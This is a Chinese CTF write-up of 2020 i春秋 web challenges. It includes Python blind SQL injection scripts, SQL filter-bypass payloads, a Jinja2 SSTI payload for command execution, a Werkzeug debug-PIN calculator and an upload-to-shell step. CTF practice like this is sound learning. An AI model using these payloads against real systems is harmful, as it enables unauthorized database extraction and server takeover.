2020i春秋新春战疫

简单的招聘系统

登陆这里就可以注入

查询这里也可以注入

 

从登陆这里注入把

爆破数据库名

 

爆破表名

 

列名

 

flag

就很奇怪跑出来的东西

重开容器跑一遍列,估计是flaaag。后面可能是发生了502

再跑一遍。又重发了个容器。感觉这些跑的有问题啊。这个列名绝对就是flaaag。我手动burp验证了。- -不知道为啥每次后面都带着东西,到flaaag就结束了应该。

差点坏事了。又跑出个错误的flag,我手动burp验证了。明明是{,为毛又变成]

噢。我知道了,我电脑弄连着热点,放着音乐,手机连着热点看着直播,影响到了我的网速?导致我正常的request都有有2s延迟了吗。直接调5s /(ㄒoㄒ)/~~

获得了flag。= =忘记截图了

upload

上传了个php,直接getshell,然后./readflag。看返回的response提醒是bypass

上去看一下index.php

<?php
error_reporting(0);
header("Content-type: text/html; charset=utf-8");
$sandbox='sandbox/'.md5($_SERVER['remote_addr']);
echo $sandbox;
mkdir($sandbox);
chdir($sandbox);
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['php,htaccess,ini,'])) {
    die('upload failed');
}

move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "<br><br>";
echo "<a href='{$sandbox}/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";

endif;
?>
<form method="post" enctype="multipart/form-data">
   上传: <input type="file" name="file_upload">
    <input type="submit">
</form>

那个数组怎么就变成了这样,不该是['php','htaccess','ini']吗?尴尬。难怪都是非预期了。

这里的if : endif; 实际就是{ }

这种语法比较适合嵌套在HTML中。

盲注

 

 burp测试过滤了一下函数,union select like updatexml insert into update等

 

过滤了select,去找了下相关文章https://www.jianshu.com/p/12519879dc44

 

 

可行。一开始因为'被ban了,换"就可以了。

刚准备好脚本,因为有一些字符串在regexp会影响判断,因为是正则。

import requests
import time
import string
url='http://dd00d648b92a4237b815cb2917e2652d9c44e3e12f0f4db8.changame.ichunqiu.com/index.php'
k=''
for i in range(0,25):
    for j in range(32,128):      #这里鉴于上面两题的flag,可以直接写成for j in 'abcdefghijklmnopqrstuvwxyz0123456789{}- '
        if chr(j) in '^.*$?\'=<>%#+':
            continue
        payload='1 and if(fl4g regexp binary "^{}",sleep(5),1)'.format(k+chr(j))
        params={
        'id':payload,
        }
        startTime=time.time()
        response=requests.get(url=url,params=params)
        if time.time() - startTime >4.5:
            k+=chr(j)
            print('flag_name:%s'%(k))
            break
print(k)

 

想测试下脚本,爆前四个字符flag,爆到第二个就觉得不对,明明是flag的,怎么是Y了。

原来是环境关了。难受。/(ㄒoㄒ)/~~忘记今天比赛了。没抓紧时间做。第四题都没看到一眼题目。

24晚上看了一下,主办方还开了所有的web环境,听说到25晚上结束。良心。炒鸡感谢。赶快把之前没跑完的跑一下。

 

 

easysqli_copy

 

 看到的一篇文章https://news.linruizhao.com/tech/freebuf/157973/。宽字节+多行,我这里用的预编译绕过。

 

 通过时间盲注,可行。为啥每次浏览器上时间盲注可以,用python脚本跑老是乱码。气死了啊。大概率是我的脚本的问题,用get请求下次直接get url,不要带params了

后面测试可以了。

import requests
import time
url="http://3397d51f00654a40a6c453953b906199865ba551262f4f0b.changame.ichunqiu.com/index.php?id=1%df%27;"
flag=''
exp0="select fllllll4g from table1"
payload = "set @s=concat({});PREPARE a FROM @s;EXECUTE a;"
for i in range(1,20):
    print("前{0}位".format(i))
    for j in 'abcdefghijklmnopqrstuvwxyz0123456789{}-':
        res=''
        exp = "select if(ascii(substr(({}),{},1))={},sleep(3),1)".format(exp0, i, ord(j))
        for z in exp:
            res += "char(%s),"%(ord(z))
        my_payload = payload.format(res[:-1])
        print('i:'+str(i),'j:'+str(j))
        urll=url+my_payload
        startTime=time.time()
        response=requests.get(url=urll)
        if time.time() - startTime >=2.5:
            flag+=j
            print('flag_name:%s'%(flag))
            break
print(flag)

 

Flaskapp

在decode页面随意输入,一些跳出错误页面

 

 

所以是模板注入,并且有waf。

通过payload可以读取到/etc/passwod

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

但是当读取flag的时候,发现不行。应该是过滤了关键字flag,测试发现*,?,都被过滤了。尝试字符拼接。

 

通过proc/self/cmdline找了一下脚本所在的路径。读一下app.py

尝试读一下/app/app.py

 

字符串拼接也没绕过去。

发现并不是没绕过去。而是读出来了,只不过我设置了 no no 的话返回waf:字符串

结果 : from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config[SECRET_KEY] = s_e_c_r_e_t_k_e_y
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
    text = StringField(BASE64加密,validators= [DataRequired()])
    submit = SubmitField(提交)
class NameForm1(FlaskForm):
    text = StringField(BASE64解密,validators= [DataRequired()])
    submit = SubmitField(提交)

def waf(str):
    black_list = [flag,os,system,popen,import,eval,chr,request,
                  subprocess,commands,socket,hex,base64,*,?]
    for x in black_list :
        if x in str.lower() :
            return 1


@app.route(/hint,methods=[GET])
def hint():
    txt = 失败乃成功之母!!
    return render_template(hint.html,txt = txt)


@app.route(/,methods=[POST,GET])
def encode():
    if request.values.get(text) :
        text = request.values.get(text)
        text_decode = base64.b64encode(text.encode())
        tmp = 结果  :{0}.format(str(text_decode.decode()))
        res =  render_template_string(tmp)
        flash(tmp)
        return redirect(url_for(encode))

    else :
        text = 
        form = NameForm(text)
        return render_template(index.html,form = form ,method = 加密 ,img = flask.png)

@app.route(/decode,methods=[POST,GET])
def decode():
    if request.values.get(text) :
        text = request.values.get(text)
        text_decode = base64.b64decode(text.encode())
        tmp = 结果 : {0}.format(text_decode.decode())
        if waf(tmp) :
            flash(no no no !!)
            return redirect(url_for(decode))
        res =  render_template_string(tmp)
        flash( res )
        return redirect(url_for(decode))

    else :
        text = 
        form = NameForm1(text)
        return render_template(index.html,form = form, method = 解密 , img = flask1.png)


@app.route(/&lt;name&gt;,methods=[GET])
def not_found(name):
    return render_template(404.html,name = name)

if __name__ == __main__:
    app.run(host=0.0.0.0, port=5000, debug=True)

黑名单

black_list = [flag,os,system,popen,import,eval,chr,request,
                  subprocess,commands,socket,hex,base64,*,?]

后经过师傅提醒说是解pin码,我就去试试。

https://www.jianshu.com/p/cbca419ba075

https://xz.aliyun.com/t/2553#toc-2

解pin码需要6个变量

username就是启动这个Flask的用户

modname为flask.app

getattr(app, '__name__', getattr(app.__class__, '__name__'))为Flask

getattr(mod, '__file__', None)为flask目录下的一个app.py的绝对路径

uuid.getnode()就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式

get_machine_id()不妨跟进去看一下

 

 machine-id:81ef01dec0f0eb6d6c0f3752b487b10e

 

 mac地址:02:42:ac:12:00:04

转化为10进制

绝对路径

 

 用户名是flaskweb

经过师傅提示,machine-id还是错的,是/proc/self/cgroup  docker/后的ID

2:pids:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
11:cpu,cpuacct:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
10:hugetlb:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
9:devices:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
8:blkio:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
7:rdma:/
6:memory:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
5:perf_event:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
4:net_cls,net_prio:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
3:freezer:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
2:cpuset:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
1:name=systemd:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
0::/system.slice/containerd.service
import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377957892',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)  

 得到pin码获取python shell

如果想获取控制台输出的内容,那就用os.popen的方法了,popen返回的是一个file对象,跟open打开文件一样操作了,r是以读的方式打开

 

2.24-今天晚上学习了下SSTI,明早补上SSTI的学习笔记总结等。这里可以通过字符串拼接就可以达到命令执行

().__class__.__bases__[0].__subclasses__()[76].__init__.__globals__['__builtins__']['e'+'val']('__imp'+'ort__ ("o"+"s").p'+'open("ls").read()')

 

字符串拼接即可

赛后又找到了一篇文章

https://www.anquanke.com/post/id/197602 基本思路一样,BUU牛逼

blacklist(复现)

 

 

是改编强网杯的。

强网杯有两种解法

一种是用比预编译

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;

一种是alter,rename更改表名

这里都禁了,应该要找新姿势。

后面问了一位师傅,告诉了我用handler

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

复现记录:

这题主要是考姿势了,这里啥都禁掉了。主要是select禁止了。新获得的姿势就是利用handler

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

语法结构:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE
如:通过handler语句查询users表的内容、
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
 引用:https://xz.aliyun.com/t/7169#toc-47  

本地测试:

 

 

 

 

也可以不加as

 

payload:

1';handler FlagHere open as yunying;handler yunying read first;

Ezsqli(复现)

回来没时间写,这里重新学习复现下。

测试发现有waf,通过重放查看

 

 

过滤了and,or,handler,join,insert,if,in等

尝试union select也不行,但是单独的union 和select是可以用的

后面发现不是字符串的注入,是数字型的,加'反而没反应。

这里测试id=2的时候发现有区分

2||1=0 返回CQGAME
2||1=1 返回Nu1L

类似如下,正确,则爆出列的所以数据去第一行输出。否则

 

用&&发现不会变,一直都CQGAME。这里用bool盲注可以。

正确为Nu1L,错误为CQGAME。

这里可以用ascii(substr((payload)),1,1)={}来bool盲注。这里or被过滤了可以用innodb,sys.schema_auto_increment_columns,sys.schema_table_statistics_with_buffer尝试bypass,都有版本限制。但是这里可以用盲注脚本测试下:

# encoding = utf-8
import requests
import base64
url='http://16872a12d0c049e0921ea9e9afefacb8f8ae8676b4ce4a60.changame.ichunqiu.com/index.php'
exp0='select version()'
flag=''
for i in range(1,10):
	print("前{}位值:\n".format(str(i)))
	for j in range(32,128):
		payload='2||ascii(substr(({}),{},1))={}'.format(exp0,i,j)
		print(payload)
		response=requests.post(url=url,data={"id":payload})
		if 'Nu1L' in response.text:
			flag+=chr(j)
			print("flag:{}".format(flag))
			break
print(flag)

 

 

我吐了,电脑死机了,下面编辑的东西没了。下面简单说下

通过sys.schema_table_statistics_with_buffer爆出两个表名

users23333333333333,f1ag_1s_h3r3_hhhhh

接下来无列名注入参考出题人 smile师傅:

https://www.smi1e.top/%e6%96%b0%e6%98%a5%e6%88%98%e7%96%ab%e5%85%ac%e7%9b%8a%e8%b5%9b-ezsqli-%e5%87%ba%e9%a2%98%e5%b0%8f%e8%ae%b0/

https://nosec.org/home/detail/3830.html

如果一个表只包含一列,那么很轻易就可在不知道列名的情况下检索出数据,只需一个简单的SUBSTR((SELECT * FROM table),1,1)='x'就可,但如果一个表包含多个列,那么这个查询就会抛出一个错误。不过这里有个技巧,就是将查询语句与相同数量的列进行比较!

 

mysql默认是不区分大小写的。通过以上方法我可以得到全是小写字母的flag,现在就需要一个区分大小写的方法。我发现将字符串转换为二进制格式后,会强制进行字节对字节的比较,这正是我所需要的。但问题是,BINARY函数中的“in”被过滤掉了。

当一个字符串连接一个二进制的值时CONCAT("aa", BINARY("BB")),其得到的也将是二进制。因此我需要找到一个方法,将一个二进制字符串插入CONCAT函数中。

经过反复试验,我终于发现MySQL中的JSON对象是二进制对象,因此,CAST(0 AS JSON)会返回一个二进制字符串,进而SELECT CONCAT(“A”, CAST(0 AS JSON))也会返回一个二进制字符串

 

上文取自https://nosec.org/home/detail/3830.html

预期解是文章中提到的使用 SELECT CONCAT("A", CAST(0 AS JSON)) 来另其返回二进制字符串。不过你并不知道需要注入的字符串中有什么,是否大于0,因为mysql比较字符串大小是按位比较的,因此我们需要找到一个ascii字符中比较大的字符也就是 ~ ,这样的话 f~ 始终大于 flag{xx} , e~ 始终小于 flag{xxx} 
这样以来我们只用把需要注入的字符按照ascii大小排序,小的在前面,逐位去跑即可。
最后就是i春秋的flag中有--比数字更小,写脚本需要注意一下。

取自https://www.smi1e.top/%e6%96%b0%e6%98%a5%e6%88%98%e7%96%ab%e5%85%ac%e7%9b%8a%e8%b5%9b-ezsqli-%e5%87%ba%e9%a2%98%e5%b0%8f%e8%ae%b0/

这里我直接上Ying师傅的脚本思路了。

脚本参考了P3rh4ps师傅的exp,用字符的ASCII偏移一位来使判断成立,这个思路太顶了,看了好长时间才懂,我来详细解释一下这个事儿:

 

假设flag为flag{bbbbb},对于payload这个两个select查询的比较,是按位比较的,即先比第一位,如果相等则比第二位,以此类推;在某一位上,如果前者的ASCII大,不管总长度如何,ASCII大的则大,这个不难懂,和c语言的strcmp()函数原理一样,举几个例子:

  • glag > flag{bbbbb}
  • alag{zzzzzzzzzzz} < flag{bbbbb}
  • a < flag{bbbbb}
  • z > flag{bbbbb}

在这样的按位比较过程中,因为在里层的for()循环,字典顺序是从ASCII码小到大来枚举并比较的,假设正确值为b,那么字典跑到b的时候b=b不满足payload的大于号,只能继续下一轮循环,c>b此时满足了,题目返回真,出现了Nu1L关键字,这个时候就需要记录flag的值了,但是此时这一位的char是c,而真正的flag的这一位应该是b才对,所以flag += chr(char-1),这就是为什么在存flag时候要往前偏移一位的原因

'''
Author: 颖奇L'Amore
Blog: www.gem-love.com
本文链接: https://www.gem-love.com/ctf/1669.html
'''
import requests
url = 'http://fd871d2e-cc2a-4f0b-878d-385ed4d11981.node3.buuoj.cn/'

def trans(flag):
    res = ''
    for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

flag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完
    hexchar = ''
    for char in range(32, 126):
        hexchar = trans(flag+ chr(char))
        payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        data = {
                'id':payload
                }
        r = requests.post(url=url, data=data)
        text = r.text
        if 'Nu1L' in r.text:
            flag += chr(char-1)
            print(flag)
            break

Ying师傅的exp没有考虑大小写的问题,因为i春秋默认的flag都是小写的

另外smi1e师傅的官方exp中用了取反符号~目的也是判断成立,就是因为MySQL的比较是按位比的。

另外就是脚本进行了hex()操作,这是因为MySQL遇到hex会自动转成字符串(P3rh4ps师傅告诉的,学到了)

这里也贴出smi1e的官方exp

# -*- coding:utf8 -*-
import requests
import string
url = "http://127.0.0.1/index.php"

def exp1():
    str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','')
    flag = ''
    select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'
    for j in range(1,40):
        for i in str1:
            paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i)
            #print(paylaod)
            data = {
                'id': paylaod,
            }
            r = requests.post(url,data=data)
            if 'Nu1L' in r.text:
                flag += i
                print(flag)
                break

def exp2():
    str1 = ('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\','')
    flag = ''
    flag_table_name = 'f1ag_1s_h3r3_hhhhh'
    for j in range(1,39):
        for i in str1:
            i = flag+i
            paylaod = "1&&((select 1,concat('{}~',CAST('0' as json))) < (select * from {} limit 1))".format(i,flag_table_name)
            #print(paylaod)
            data = {
                'id': paylaod,
            }
            r = requests.post(url,data=data)

            if 'Nu1L' not in r.text:
                flag=i
                print(flag)
                break

if __name__ == '__main__':
    exp1()
    exp2()

还有赵师傅的二分法

 

 

 

 

posted @ 2020-02-25 20:42  yunying  阅读(855)  评论(0编辑  收藏  举报